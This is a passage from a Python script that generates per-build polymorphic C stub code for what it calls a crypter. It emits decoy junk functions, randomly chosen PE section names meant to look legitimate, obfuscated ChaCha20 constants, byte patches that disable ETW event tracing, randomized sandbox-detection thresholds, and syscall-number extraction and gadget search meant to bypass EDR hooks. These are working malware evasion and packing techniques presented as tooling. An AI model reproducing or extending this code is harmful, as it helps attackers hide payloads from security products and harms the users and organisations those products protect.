||
|
|
|
||
|
|
# Add cross-function call bodies for ~20% of functions (after first few are defined)
|
||
|
|
for i in range(len(func_defs)):
|
||
|
|
if i >= 3 and random.random() < 0.2:
|
||
|
|
name, param_list, _ = func_defs[i]
|
||
|
|
target_idx = random.randint(0, i - 1)
|
||
|
|
target_name = func_names[target_idx]
|
||
|
|
new_body = []
|
||
|
|
new_body.append(f" unsigned int r = {target_name}(a);")
|
||
|
|
val = random.randint(1, 0xFFFF)
|
||
|
|
new_body.append(f" r ^= 0x{val:X}u;")
|
||
|
|
new_body.append(" return r;")
|
||
|
|
func_defs[i] = (name, param_list, new_body)
|
||
|
|
|
||
|
|
# Emit forward declarations
|
||
|
|
for name, param_list, _ in func_defs:
|
||
|
|
lines.append(f"static unsigned int {name}({param_list});")
|
||
|
|
lines.append("")
|
||
|
|
|
||
|
|
# Emit function definitions
|
||
|
|
for name, param_list, body_lines in func_defs:
|
||
|
|
lines.append(f"static unsigned int {name}({param_list}) {{")
|
||
|
|
lines.extend(body_lines)
|
||
|
|
lines.append("}")
|
||
|
|
lines.append("")
|
||
|
|
|
||
|
|
# Emit poly_stub_init() that chains all functions
|
||
|
|
lines.append("void poly_stub_init(void) {")
|
||
|
|
lines.append(" unsigned int s = 0x{:08X}u;".format(random.randint(0, 0xFFFFFFFF)))
|
||
|
|
for name in func_names:
|
||
|
|
lines.append(f" s = {name}(s);")
|
||
|
|
lines.append(" g_poly_stub_state = s;")
|
||
|
|
lines.append("}")
|
||
|
|
lines.append("")
|
||
|
|
|
||
|
|
return "\n".join(lines)
|
||
|
|
|
||
|
|
|
||
|
|
# ---------------------------------------------------------------------------
|
||
|
|
# Per-build config generation (shared between stub + crypter)
|
||
|
|
# ---------------------------------------------------------------------------
|
||
|
|
|
||
|
|
# Legitimate-looking PE section name pools (24 entries each)
|
||
|
|
CFG_SECTION_POOL = [".mrdata", ".voltbl", ".didat", ".00cfg", ".gxfg",
|
||
|
|
".gehcont", ".retplne", ".idata", ".msvcjmc", ".gfids",
|
||
|
|
".textbss", ".xcpt", ".minATL", ".tls", ".xdata",
|
||
|
|
".edata", ".reloc", ".pdata", ".wixburn", ".cormeta",
|
||
|
|
".gfguard", ".cfguard", ".retpol", ".mrfld"]
|
||
|
|
PAY_SECTION_POOL = [".rsrc1", ".shared", ".sxdata", ".rdata2",
|
||
|
|
".data2", ".xdata1", ".tls1", ".orpc", ".rsrc2",
|
||
|
|
".vladata", ".bss1", ".rodata", ".data3", ".rdata3",
|
||
|
|
".xdata2", ".idata2", ".crt", ".drectve", ".data1",
|
||
|
|
".npad", ".crthunk", ".rtc", ".tdata", ".prel"]
|
||
|
|
|
||
|
|
|
||
|
|
def _random_section_name():
|
||
|
|
"""Generate a random section name: '.' + 4-6 lowercase letters."""
|
||
|
|
length = random.randint(4, 6)
|
||
|
|
return "." + "".join(random.choice("abcdefghijklmnopqrstuvwxyz") for _ in range(length))
|
||
|
|
|
||
|
|
# Base English character frequency distribution (will be shuffled)
|
||
|
|
BASE_CHARSET_CHARS = (
|
||
|
|
" " * 10 +
|
||
|
|
"e" * 10 + "t" * 10 + "a" * 8 + "o" * 8 + "i" * 8 +
|
||
|
|
"n" * 8 + "s" * 8 + "h" * 8 + "r" * 8 + "d" * 6 +
|
||
|
|
"l" * 6 + "c" * 6 + "u" * 6 + "m" * 6 + "w" * 6 +
|
||
|
|
"f" * 5 + "g" * 5 + "y" * 5 + "p" * 5 + "b" * 5 +
|
||
|
|
"v" * 4 + "k" * 4 + "j" * 2 + "x" * 2 + "q" * 2 + "z" * 2 +
|
||
|
|
"E" * 4 + "T" * 4 + "A" * 4 + "O" * 4 + "I" * 4 +
|
||
|
|
"N" * 4 + "S" * 4 + "H" * 4 + "R" * 4 + "D" * 4 +
|
||
|
|
"L" * 4 + "C" * 4 + "U" * 4 + "M" * 4 + "W" * 4 +
|
||
|
|
"," * 3 + "." * 3 + ";" * 2 + ":" * 2 + "!" * 1 + "?" * 1 +
|
||
|
|
"'" * 1 + '"' * 1 + "(" * 1 + ")" * 1 + " " * 2
|
||
|
|
)
|
||
|
|
|
||
|
|
|
||
|
|
def generate_shuffled_charset() -> str:
|
||
|
|
"""Generate a unique shuffled entropy charset per build."""
|
||
|
|
chars = list(BASE_CHARSET_CHARS)
|
||
|
|
random.shuffle(chars)
|
||
|
|
return "".join(chars)
|
||
|
|
|
||
|
|
|
||
|
|
def generate_chacha_init_code() -> tuple:
|
||
|
|
"""Generate obfuscated ChaCha20 constant initialization.
|
||
|
|
|
||
|
|
Instead of literal 0x61707865 etc., compute them via arithmetic
|
||
|
|
from random intermediate values. Returns (code_lines, state_var_name).
|
||
|
|
"""
|
||
|
|
# The four ChaCha20 constants (RFC 8439 "expand 32-byte k")
|
||
|
|
constants = [0x61707865, 0x3320646e, 0x79622d32, 0x6b206574]
|
||
|
|
lines = []
|
||
|
|
for i, val in enumerate(constants):
|
||
|
|
# Pick random addend/xor values that produce the constant
|
||
|
|
method = random.randint(0, 2)
|
||
|
|
if method == 0:
|
||
|
|
# XOR method: a ^ b = val
|
||
|
|
a = random.randint(0, 0xFFFFFFFF)
|
||
|
|
b = a ^ val
|
||
|
|
lines.append(f" state[{i}] = 0x{a:08X}u ^ 0x{b:08X}u;")
|
||
|
|
elif method == 1:
|
||
|
|
# ADD method: a + b = val (mod 2^32)
|
||
|
|
a = random.randint(0, 0xFFFFFFFF)
|
||
|
|
b = (val - a) & 0xFFFFFFFF
|
||
|
|
lines.append(f" state[{i}] = 0x{a:08X}u + 0x{b:08X}u;")
|
||
|
|
else:
|
||
|
|
# SUB method: a - b = val (mod 2^32)
|
||
|
|
b = random.randint(0, 0xFFFFFFFF)
|
||
|
|
a = (val + b) & 0xFFFFFFFF
|
||
|
|
lines.append(f" state[{i}] = 0x{a:08X}u - 0x{b:08X}u;")
|
||
|
|
return lines
|
||
|
|
|
||
|
|
|
||
|
|
def generate_etw_patch_code() -> tuple:
|
||
|
|
"""Generate a random multi-byte ETW patch sequence.
|
||
|
|
|
||
|
|
Returns (patch_bytes_hex, patch_size) for a sequence that
|
||
|
|
effectively makes the function return 0 (STATUS_SUCCESS).
|
||
|
|
"""
|
||
|
|
# Various ways to make a function return 0 immediately
|
||
|
|
patches = [
|
||
|
|
# xor eax, eax; ret
|
||
|
|
([0x31, 0xC0, 0xC3], 3),
|
||
|
|
# xor eax, eax; ret (alternate encoding)
|
||
|
|
([0x33, 0xC0, 0xC3], 3),
|
||
|
|
# push 0; pop rax; ret
|
||
|
|
([0x6A, 0x00, 0x58, 0xC3], 4),
|
||
|
|
# mov eax, 0; ret
|
||
|
|
([0xB8, 0x00, 0x00, 0x00, 0x00, 0xC3], 6),
|
||
|
|
# xor eax, eax; nop; ret
|
||
|
|
([0x31, 0xC0, 0x90, 0xC3], 4),
|
||
|
|
# sub eax, eax; ret
|
||
|
|
([0x29, 0xC0, 0xC3], 3),
|
||
|
|
]
|
||
|
|
return random.choice(patches)
|
||
|
|
|
||
|
|
|
||
|
|
def generate_stub_config_header(magic, cfg_section, pay_section, charset,
|
||
|
|
chacha_init_lines, etw_patch, etw_size,
|
||
|
|
sb_min_cpu, sb_min_ram_gb, sb_min_disk_gb,
|
||
|
|
sb_sleep_ms, sb_sleep_min_ms, sb_min_recent,
|
||
|
|
lcg_mult, lcg_inc, lcg_shift) -> str:
|
||
|
|
"""Generate stub_poly_config.h shared by stub template and crypter."""
|
||
|
|
# Escape charset for C string literal (handle special chars)
|
||
|
|
escaped = ""
|
||
|
|
for ch in charset:
|
||
|
|
if ch == '"':
|
||
|
|
escaped += '\\"'
|
||
|
|
elif ch == '\\':
|
||
|
|
escaped += '\\\\'
|
||
|
|
elif ch == '\n':
|
||
|
|
escaped += '\\n'
|
||
|
|
elif ord(ch) < 32 or ord(ch) > 126:
|
||
|
|
escaped += f'\\x{ord(ch):02x}'
|
||
|
|
else:
|
||
|
|
escaped += ch
|
||
|
|
|
||
|
|
# Split charset into chunks for readable C array
|
||
|
|
# Avoid splitting in the middle of escape sequences (e.g. \" or \\)
|
||
|
|
chunk_size = 60
|
||
|
|
charset_chunks = []
|
||
|
|
pos = 0
|
||
|
|
while pos < len(escaped):
|
||
|
|
end = min(pos + chunk_size, len(escaped))
|
||
|
|
# Don't split right after a backslash (it would escape the closing quote)
|
||
|
|
while end < len(escaped) and end > pos and escaped[end - 1] == '\\':
|
||
|
|
end -= 1
|
||
|
|
if end == pos: # degenerate case: chunk is all backslashes
|
||
|
|
end = min(pos + chunk_size + 1, len(escaped))
|
||
|
|
charset_chunks.append(f' "{escaped[pos:end]}"')
|
||
|
|
pos = end
|
||
|
|
|
||
|
|
lines = []
|
||
|
|
lines.append("/* Auto-generated by generate_poly_stub.py - DO NOT EDIT */")
|
||
|
|
lines.append("#ifndef STUB_POLY_CONFIG_H")
|
||
|
|
lines.append("#define STUB_POLY_CONFIG_H")
|
||
|
|
lines.append("")
|
||
|
|
lines.append(f"#define STUB_CONFIG_MAGIC 0x{magic:08X}u")
|
||
|
|
lines.append(f'#define STUB_CFG_SECTION "{cfg_section}"')
|
||
|
|
lines.append(f'#define STUB_PAY_SECTION "{pay_section}"')
|
||
|
|
lines.append("")
|
||
|
|
lines.append("/* Per-build shuffled entropy charset */")
|
||
|
|
lines.append(f"#define STUB_ENTROPY_CHARSET_LEN {len(charset)}")
|
||
|
|
lines.append("static const char STUB_ENTROPY_CHARSET[] =")
|
||
|
|
lines.append("\n".join(charset_chunks) + ";")
|
||
|
|
lines.append("")
|
||
|
|
lines.append("/* ChaCha20 obfuscated state initialization */")
|
||
|
|
lines.append("#define CHACHA_INIT_STATE(state) do { \\")
|
||
|
|
for cl in chacha_init_lines:
|
||
|
|
lines.append(f"{cl} \\")
|
||
|
|
lines.append("} while(0)")
|
||
|
|
lines.append("")
|
||
|
|
lines.append("/* ETW multi-byte patch */")
|
||
|
|
etw_bytes_str = ", ".join(f"0x{b:02X}" for b in etw_patch)
|
||
|
|
lines.append(f"static const unsigned char STUB_ETW_PATCH[] = {{ {etw_bytes_str} }};")
|
||
|
|
lines.append(f"#define STUB_ETW_PATCH_SIZE {etw_size}")
|
||
|
|
lines.append("")
|
||
|
|
lines.append("/* Randomized sandbox thresholds */")
|
||
|
|
lines.append(f"#define SB_MIN_CPU {sb_min_cpu}")
|
||
|
|
lines.append(f"#define SB_MIN_RAM_GB {sb_min_ram_gb}")
|
||
|
|
lines.append(f"#define SB_MIN_DISK_GB {sb_min_disk_gb}")
|
||
|
|
lines.append(f"#define SB_SLEEP_MS {sb_sleep_ms}")
|
||
|
|
lines.append(f"#define SB_SLEEP_MIN_MS {sb_sleep_min_ms}")
|
||
|
|
lines.append(f"#define SB_MIN_RECENT {sb_min_recent}")
|
||
|
|
lines.append("")
|
||
|
|
lines.append("/* Per-build LCG parameters for entropy pad generation */")
|
||
|
|
lines.append(f"#define STUB_LCG_MULT 0x{lcg_mult:08X}u")
|
||
|
|
lines.append(f"#define STUB_LCG_INC 0x{lcg_inc:04X}u")
|
||
|
|
lines.append(f"#define STUB_LCG_SHIFT {lcg_shift}")
|
||
|
|
lines.append("")
|
||
|
|
lines.append("#endif /* STUB_POLY_CONFIG_H */")
|
||
|
|
lines.append("")
|
||
|
|
return "\n".join(lines)
|
||
|
|
|
||
|
|
|
||
|
|
# ---------------------------------------------------------------------------
|
||
|
|
# Metamorphic transform generators
|
||
|
|
# ---------------------------------------------------------------------------
|
||
|
|
|
||
|
|
def gen_meta_entropy_pad(lcg_mult, lcg_inc, lcg_shift):
|
||
|
|
"""Generate metamorphic generate_entropy_pad with per-build LCG params.
|
||
|
|
|
||
|
|
Also randomly selects loop unrolling factor (1x, 2x, or 4x).
|
||
|
|
"""
|
||
|
|
unroll = random.choice([1, 2, 4])
|
||
|
|
|
||
|
|
lines = []
|
||
|
|
lines.append("static void generate_entropy_pad(uint32_t seed, uint8_t *pad, uint32_t pad_size) {")
|
||
|
|
lines.append(" uint32_t state = seed;")
|
||
|
|
lines.append(" uint32_t charset_len = STUB_ENTROPY_CHARSET_LEN;")
|
||
|
|
|
||
|
|
if unroll == 1:
|
||
|
|
lines.append(" for (uint32_t i = 0; i < pad_size; i++) {")
|
||
|
|
lines.append(f" state = state * STUB_LCG_MULT + STUB_LCG_INC;")
|
||
|
|
lines.append(f" pad[i] = (uint8_t)STUB_ENTROPY_CHARSET[(state >> STUB_LCG_SHIFT) % charset_len];")
|
||
|
|
lines.append(" }")
|
||
|
|
elif unroll == 2:
|
||
|
|
lines.append(" uint32_t full = pad_size & ~1u;")
|
||
|
|
lines.append(" uint32_t i = 0;")
|
||
|
|
lines.append(" for (; i < full; i += 2) {")
|
||
|
|
lines.append(f" state = state * STUB_LCG_MULT + STUB_LCG_INC;")
|
||
|
|
lines.append(f" pad[i] = (uint8_t)STUB_ENTROPY_CHARSET[(state >> STUB_LCG_SHIFT) % charset_len];")
|
||
|
|
lines.append(f" state = state * STUB_LCG_MULT + STUB_LCG_INC;")
|
||
|
|
lines.append(f" pad[i+1] = (uint8_t)STUB_ENTROPY_CHARSET[(state >> STUB_LCG_SHIFT) % charset_len];")
|
||
|
|
lines.append(" }")
|
||
|
|
lines.append(" for (; i < pad_size; i++) {")
|
||
|
|
lines.append(f" state = state * STUB_LCG_MULT + STUB_LCG_INC;")
|
||
|
|
lines.append(f" pad[i] = (uint8_t)STUB_ENTROPY_CHARSET[(state >> STUB_LCG_SHIFT) % charset_len];")
|
||
|
|
lines.append(" }")
|
||
|
|
else: # 4x
|
||
|
|
lines.append(" uint32_t full = pad_size & ~3u;")
|
||
|
|
lines.append(" uint32_t i = 0;")
|
||
|
|
lines.append(" for (; i < full; i += 4) {")
|
||
|
|
for u in range(4):
|
||
|
|
lines.append(f" state = state * STUB_LCG_MULT + STUB_LCG_INC;")
|
||
|
|
lines.append(f" pad[i+{u}] = (uint8_t)STUB_ENTROPY_CHARSET[(state >> STUB_LCG_SHIFT) % charset_len];")
|
||
|
|
lines.append(" }")
|
||
|
|
lines.append(" for (; i < pad_size; i++) {")
|
||
|
|
lines.append(f" state = state * STUB_LCG_MULT + STUB_LCG_INC;")
|
||
|
|
lines.append(f" pad[i] = (uint8_t)STUB_ENTROPY_CHARSET[(state >> STUB_LCG_SHIFT) % charset_len];")
|
||
|
|
lines.append(" }")
|
||
|
|
|
||
|
|
lines.append("}")
|
||
|
|
return "\n".join(lines)
|
||
|
|
|
||
|
|
|
||
|
|
def gen_meta_section_to_protection():
|
||
|
|
"""Generate metamorphic SectionToProtection with randomly chosen variant."""
|
||
|
|
variant = random.choice(["conditional", "ternary", "lut", "accumulator"])
|
||
|
|
|
||
|
|
if variant == "conditional":
|
||
|
|
# Shuffled conditional chain (within priority groups to preserve correctness)
|
||
|
|
group3 = [("e && r && w", "PAGE_EXECUTE_READWRITE")]
|
||
|
|
group2 = [
|
||
|
|
("e && r", "PAGE_EXECUTE_READ"),
|
||
|
|
("e && w", "PAGE_EXECUTE_WRITECOPY"),
|
||
|
|
("r && w", "PAGE_READWRITE"),
|
||
|
|
]
|
||
|
|
group1 = [
|
||
|
|
("e", "PAGE_EXECUTE"),
|
||
|
|
("r", "PAGE_READONLY"),
|
||
|
|
("w", "PAGE_WRITECOPY"),
|
||
|
|
]
|
||
|
|
random.shuffle(group2)
|
||
|
|
random.shuffle(group1)
|
||
|
|
cases = group3 + group2 + group1
|
||
|
|
lines = []
|
||
|
|
lines.append("static DWORD SectionToProtection(DWORD ch) {")
|
||
|
|
lines.append(" BOOL e = (ch & IMAGE_SCN_MEM_EXECUTE) != 0;")
|
||
|
|
lines.append(" BOOL r = (ch & IMAGE_SCN_MEM_READ) != 0;")
|
||
|
|
lines.append(" BOOL w = (ch & IMAGE_SCN_MEM_WRITE) != 0;")
|
||
|
|
for cond, ret in cases:
|
||
|
|
lines.append(f" if ({cond}) return {ret};")
|
||
|
|
lines.append(" return PAGE_NOACCESS;")
|
||
|
|
lines.append("}")
|
||
|
|
return "\n".join(lines)
|
||
|
|
|
||
|
|
elif variant == "ternary":
|
||
|
|
lines = []
|
||
|
|
lines.append("static DWORD SectionToProtection(DWORD ch) {")
|
||
|
|
lines.append(" BOOL e = (ch & IMAGE_SCN_MEM_EXECUTE) != 0;")
|
||
|
|
lines.append(" BOOL r = (ch & IMAGE_SCN_MEM_READ) != 0;")
|
||
|
|
lines.append(" BOOL w = (ch & IMAGE_SCN_MEM_WRITE) != 0;")
|
||
|
|
lines.append(" return e ? (r ? (w ? PAGE_EXECUTE_READWRITE : PAGE_EXECUTE_READ)")
|
||
|
|
lines.append(" : (w ? PAGE_EXECUTE_WRITECOPY : PAGE_EXECUTE))")
|
||
|
|
lines.append(" : (r ? (w ? PAGE_READWRITE : PAGE_READONLY)")
|
||
|
|
lines.append(" : (w ? PAGE_WRITECOPY : PAGE_NOACCESS));")
|
||
|
|
lines.append("}")
|
||
|
|
return "\n".join(lines)
|
||
|
|
|
||
|
|
elif variant == "lut":
|
||
|
|
lines = []
|
||
|
|
lines.append("static DWORD SectionToProtection(DWORD ch) {")
|
||
|
|
lines.append(" static const DWORD lut[] = {")
|
||
|
|
lines.append(" PAGE_NOACCESS, PAGE_WRITECOPY, PAGE_READONLY, PAGE_READWRITE,")
|
||
|
|
lines.append(" PAGE_EXECUTE, PAGE_EXECUTE_WRITECOPY, PAGE_EXECUTE_READ, PAGE_EXECUTE_READWRITE")
|
||
|
|
lines.append(" };")
|
||
|
|
lines.append(" int idx = ((ch >> 27) & 4) | ((ch >> 29) & 2) | ((ch >> 31) & 1);")
|
||
|
|
lines.append(" return lut[idx & 7];")
|
||
|
|
lines.append("}")
|
||
|
|
return "\n".join(lines)
|
||
|
|
|
||
|
|
else: # accumulator
|
||
|
|
lines = []
|
||
|
|
lines.append("static DWORD SectionToProtection(DWORD ch) {")
|
||
|
|
lines.append(" DWORD prot = 0;")
|
||
|
|
lines.append(" BOOL e = (ch & IMAGE_SCN_MEM_EXECUTE) != 0;")
|
||
|
|
lines.append(" BOOL r = (ch & IMAGE_SCN_MEM_READ) != 0;")
|
||
|
|
lines.append(" BOOL w = (ch & IMAGE_SCN_MEM_WRITE) != 0;")
|
||
|
|
lines.append(" if (!e && !r && !w) return PAGE_NOACCESS;")
|
||
|
|
lines.append(" if (e) {")
|
||
|
|
lines.append(" prot = PAGE_EXECUTE;")
|
||
|
|
lines.append(" if (r && w) return PAGE_EXECUTE_READWRITE;")
|
||
|
|
lines.append(" if (r) return PAGE_EXECUTE_READ;")
|
||
|
|
lines.append(" if (w) return PAGE_EXECUTE_WRITECOPY;")
|
||
|
|
lines.append(" return prot;")
|
||
|
|
lines.append(" }")
|
||
|
|
lines.append(" if (r && w) return PAGE_READWRITE;")
|
||
|
|
lines.append(" if (r) return PAGE_READONLY;")
|
||
|
|
lines.append(" return PAGE_WRITECOPY;")
|
||
|
|
lines.append("}")
|
||
|
|
return "\n".join(lines)
|
||
|
|
|
||
|
|
|
||
|
|
def gen_meta_extract_ssn():
|
||
|
|
"""Generate metamorphic ExtractSSN with randomized variants."""
|
||
|
|
# Random choices
|
||
|
|
check_order = random.choice(["standard_first", "hooked_first"])
|
||
|
|
scan_limit = random.choice([24, 32, 48])
|
||
|
|
sentinel = random.choice(["(DWORD)-1", "0xFFFFFFFF", "~0u"])
|
||
|
|
add_decoy = random.choice([True, False])
|
||
|
|
|
||
|
|
lines = []
|
||
|
|
lines.append("static DWORD ExtractSSN(LPBYTE funcAddr) {")
|
||
|
|
|
||
|
|
if check_order == "standard_first":
|
||
|
|
# Standard prologue check first
|
||
|
|
lines.append(" /* Standard ntdll syscall stub prologue */")
|
||
|
|
lines.append(" if (funcAddr[0] == 0x4C && funcAddr[1] == 0x8B && funcAddr[2] == 0xD1 &&")
|
||
|
|
lines.append(" funcAddr[3] == 0xB8) {")
|
||
|
|
lines.append(" return *(DWORD *)(funcAddr + 4);")
|
||
|
|
lines.append(" }")
|
||
|
|
lines.append(" /* Hooked? Scan forward for mov eax pattern */")
|
||
|
|
lines.append(f" for (int i = 0; i < {scan_limit}; i++) {{")
|
||
|
|
if add_decoy:
|
||
|
|
lines.append(" if (funcAddr[i] == 0x90) continue; /* skip NOP */")
|
||
|
|
lines.append(" if (funcAddr[i] == 0xB8 &&")
|
||
|
|
lines.append(" funcAddr[i + 5] == 0x0F && funcAddr[i + 6] == 0x05) {")
|
||
|
|
lines.append(" return *(DWORD *)(funcAddr + i + 1);")
|
||
|
|
lines.append(" }")
|
||
|
|
lines.append(" }")
|
||
|
|
else:
|
||
|
|
# Hooked scan first (reversed order)
|
||
|
|
lines.append(" /* Scan for hooked pattern first (EDR inline hook detection) */")
|
||
|
|
lines.append(f" for (int i = 0; i < {scan_limit}; i++) {{")
|
||
|
|
if add_decoy:
|
||
|
|
lines.append(" if (funcAddr[i] == 0xCC) continue; /* skip INT3 */")
|
||
|
|
lines.append(" if (funcAddr[i] == 0xB8 &&")
|
||
|
|
lines.append(" funcAddr[i + 5] == 0x0F && funcAddr[i + 6] == 0x05) {")
|
||
|
|
lines.append(" return *(DWORD *)(funcAddr + i + 1);")
|
||
|
|
lines.append(" }")
|
||
|
|
lines.append(" }")
|
||
|
|
lines.append(" /* Standard ntdll syscall stub prologue */")
|
||
|
|
lines.append(" if (funcAddr[0] == 0x4C && funcAddr[1] == 0x8B && funcAddr[2] == 0xD1 &&")
|
||
|
|
lines.append(" funcAddr[3] == 0xB8) {")
|
||
|
|
lines.append(" return *(DWORD *)(funcAddr + 4);")
|
||
|
|
lines.append(" }")
|
||
|
|
|
||
|
|
lines.append(f" return {sentinel};")
|
||
|
|
lines.append("}")
|
||
|
|
return "\n".join(lines)
|
||
|
|
|
||
|
|
|
||
|
|
def gen_meta_find_syscall_gadget():
|
||
|
|
"""Generate metamorphic FindSyscallGadget with randomized variants."""
|
||
|
|
scan_dir = random.choice(["forward", "backward", "random_offset"])
|
||
|
|
name_check = random.choice(["bytewise", "uint32"])
|
||
|
|
gadget_pattern = random.choice(["primary", "fallback_first"])
|
||
|
|
|
||
|
|
lines = []
|
||
|
|
lines.append("static PVOID FindSyscallGadget(LPBYTE ntdllBase) {")
|
||
|
|
lines.append(" PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)ntdllBase;")
|
||
|
|
lines.append(" PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(ntdllBase + dos->e_lfanew);")
|
||
|
|
lines.append(" PIMAGE_SECTION_HEADER sec = IMAGE_FIRST_SECTION(nt);")
|
||
|
|
lines.append("")
|
||
|
|
lines.append(" for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++) {")
|
||
|
|
|
||
|
|
# Section name check
|
||
|
|
if name_check == "bytewise":
|
||
|
|
lines.append(" if (sec[i].Name[0] == '.' && sec[i].Name[1] == 't' &&")
|
||
|
|
lines.append(" sec[i].Name[2] == 'e' && sec[i].Name[3] == 'x' &&")
|
||
|
|
lines.append(" sec[i].Name[4] == 't') {")
|
||
|
|
else:
|
||
|
|
lines.append(" if (*(uint32_t *)&sec[i].Name[0] == 0x7865742E && sec[i].Name[4] == 't') {")
|
||
|
|
|
||
|
|
lines.append(" LPBYTE start = ntdllBase + sec[i].VirtualAddress;")
|
||
|
|
lines.append(" DWORD size = sec[i].Misc.VirtualSize;")
|
||
|
|
lines.append(" if (size < 4) continue;")
|
||
|
|
|
||
|
|
if scan_dir == "forward":
|
||
|
|
lines.append(" for (DWORD j = 0; j < size - 3; j++) {")
|
||
|
|
if gadget_pattern == "primary":
|
||
|
|
lines.append(" if (start[j] == 0x0F && start[j + 1] == 0x05 && start[j + 2] == 0xC3) {")
|
||
|
|
lines.append(" return &start[j];")
|
||
|
|
lines.append(" }")
|
||
|
|
else:
|
||
|
|
# Try extended pattern first, fall back to primary
|
||
|
|
lines.append(" if (start[j] == 0x0F && start[j + 1] == 0x05) {")
|
||
|
|
lines.append(" if (start[j + 2] == 0xC3) return &start[j];")
|
||
|
|
lines.append(" if (j + 3 < size && start[j + 2] == 0x90 && start[j + 3] == 0xC3)")
|
||
|
|
lines.append(" return &start[j];")
|
||
|
|
lines.append(" }")
|
||
|
|
lines.append(" }")
|
||
|
|
|
||
|
|
elif scan_dir == "backward":
|
||
|
|
lines.append(" DWORD j = size - 3;")
|
||
|
|
lines.append(" while (j > 0) {")
|
||
|
|
if gadget_pattern == "primary":
|
||
|
|
lines.append(" if (start[j] == 0x0F && start[j + 1] == 0x05 && start[j + 2] == 0xC3) {")
|
||
|
|
lines.append(" return &start[j];")
|
||
|
|
lines.append(" }")
|
||
|
|
else:
|
||
|
|
lines.append(" if (start[j] == 0x0F && start[j + 1] == 0x05) {")
|
||
|
|
lines.append(" if (start[j + 2] == 0xC3) return &start[j];")
|
||
|
|
lines.append(" if (j + 3 < size && start[j + 2] == 0x90 && start[j + 3] == 0xC3)")
|
||
|
|
lines.append(" return &start[j];")
|
||
|
|
lines.append(" }")
|
||
|
|
lines.append(" j--;")
|
||
|
|
lines.append(" }")
|
||
|
|
|
||
|
|
else: # random_offset
|
||
|
|
offset_pct = random.randint(5, 25)
|
||
|
|
lines.append(f" DWORD off = size / {100 // offset_pct};")
|
||
|
|
lines.append(" /* Scan from offset, then wrap around */")
|
||
|
|
lines.append(" for (DWORD k = 0; k < size - 3; k++) {")
|
||
|
|
lines.append(" DWORD j = (k + off) % (size - 3);")
|
||
|
|
if gadget_pattern == "primary":
|
||
|
|
lines.append(" if (start[j] == 0x0F && start[j + 1] == 0x05 && start[j + 2] == 0xC3) {")
|
||
|
|
lines.append(" return &start[j];")
|
||
|
|
lines.append(" }")
|
||
|
|
else:
|
||
|
|
lines.append(" if (start[j] == 0x0F && start[j + 1] == 0x05) {")
|
||
|
|
lines.append(" if (start[j + 2] == 0xC3) return &start[j];")
|
||
|
|
lines.append(" if (j + 3 < size && start[j + 2] == 0x90 && start[j + 3] == 0xC3)")
|
||
|
|
lines.append(" return &start[j];")
|
||
|
|
lines.append(" }")
|
||
|
|
lines.append(" }")
|
||
|
|
|
||
|
|
lines.append(" }")
|
||
|
|
lines.append(" }")
|
||
|
|
lines.append(" return NULL;")
|
||
|
|
lines.append("}")
|
||
|
|
return "\n".join(lines)
|
||
|
|
|
||
|
|
|
||
|
|
def gen_meta_load_le32():
|
||
|
|
"""Generate metamorphic load_le32 with randomized implementation."""
|
||
|
|
variant = random.choice(["shift", "union", "memcpy_style"])
|
||
|
|
|
||
|
|
lines = []
|
||
|
|
if variant == "shift":
|
||
|
|
lines.append("static inline __attribute__((always_inline)) uint32_t load_le32(const uint8_t *p) {")
|
||
|
|
lines.append(" return ((uint32_t)p[0]) | ((uint32_t)p[1] << 8) |")
|
||
|
|
lines.append(" ((uint32_t)p[2] << 16) | ((uint32_t)p[3] << 24);")
|
||
|
|
lines.append("}")
|
||
|
|
elif variant == "union":
|
||
|
|
lines.append("static inline __attribute__((always_inline)) uint32_t load_le32(const uint8_t *p) {")
|
||
|
|
lines.append(" union { uint8_t b[4]; uint32_t v; } u;")
|
||
|
|
lines.append(" u.b[0] = p[0]; u.b[1] = p[1]; u.b[2] = p[2]; u.b[3] = p[3];")
|
||
|
|
lines.append(" return u.v;")
|
||
|
|
lines.append("}")
|
||
|
|
else: # memcpy_style (byte-by-byte into local)
|
||
|
|
lines.append("static inline __attribute__((always_inline)) uint32_t load_le32(const uint8_t *p) {")
|
||
|
|
lines.append(" uint32_t r = 0;")
|
||
|
|
lines.append(" uint8_t *dst = (uint8_t *)&r;")
|
||
|
|
lines.append(" dst[0] = p[0]; dst[1] = p[1]; dst[2] = p[2]; dst[3] = p[3];")
|
||
|
|
lines.append(" return r;")
|
||
|
|
lines.append("}")
|
||
|
|
return "\n".join(lines)
|
||
|
|
|
||
|
|
|
||
|
|
def _py_chacha20_block(state):
|
||
|
|
"""Pure Python ChaCha20 block function for test vector validation."""
|
||
|
|
def rotl32(v, n):
|
||
|
|
return ((v << n) | (v >> (32 - n))) & 0xFFFFFFFF
|
||
|
|
|
||
|
|
def qr(x, a, b, c, d):
|
||
|
|
x[a] = (x[a] + x[b]) & 0xFFFFFFFF; x[d] ^= x[a]; x[d] = rotl32(x[d], 16)
|
||
|
|
x[c] = (x[c] + x[d]) & 0xFFFFFFFF; x[b] ^= x[c]; x[b] = rotl32(x[b], 12)
|
||
|
|
x[a] = (x[a] + x[b]) & 0xFFFFFFFF; x[d] ^= x[a]; x[d] = rotl32(x[d], 8)
|
||
|
|
x[c] = (x[c] + x[d]) & 0xFFFFFFFF; x[b] ^= x[c]; x[b] = rotl32(x[b], 7)
|
||
|
|
|
||
|
|
x = list(state)
|
||
|
|
for _ in range(10):
|
||
|
|
qr(x, 0, 4, 8, 12); qr(x, 1, 5, 9, 13)
|
||
|
|
qr(x, 2, 6, 10, 14); qr(x, 3, 7, 11, 15)
|
||
|
|
qr(x, 0, 5, 10, 15); qr(x, 1, 6, 11, 12)
|
||
|
|
qr(x, 2, 7, 8, 13); qr(x, 3, 4, 9, 14)
|
||
|
|
|
||
|
|
out = []
|
||
|
|
for i in range(16):
|
||
|
|
val = (x[i] + state[i]) & 0xFFFFFFFF
|
||
|
|
out.extend(struct.pack('<I', val))
|
||
|
|
return bytes(out)
|
||
|
|
|
||
|
|
|
||
|
|
def _py_chacha20_encrypt(key, nonce, plaintext):
|
||
|
|
"""Pure Python ChaCha20 encrypt/decrypt for validation."""
|
||
|
|
def le32(b, off=0):
|
||
|
|
return struct.unpack_from('<I', b, off)[0]
|
||
|
|
|
||
|
|
state = [
|
||
|
|
0x61707865, 0x3320646e, 0x79622d32, 0x6b206574,
|
||
|
|
le32(key, 0), le32(key, 4), le32(key, 8), le32(key, 12),
|
||
|
|
le32(key, 16), le32(key, 20), le32(key, 24), le32(key, 28),
|
||
|
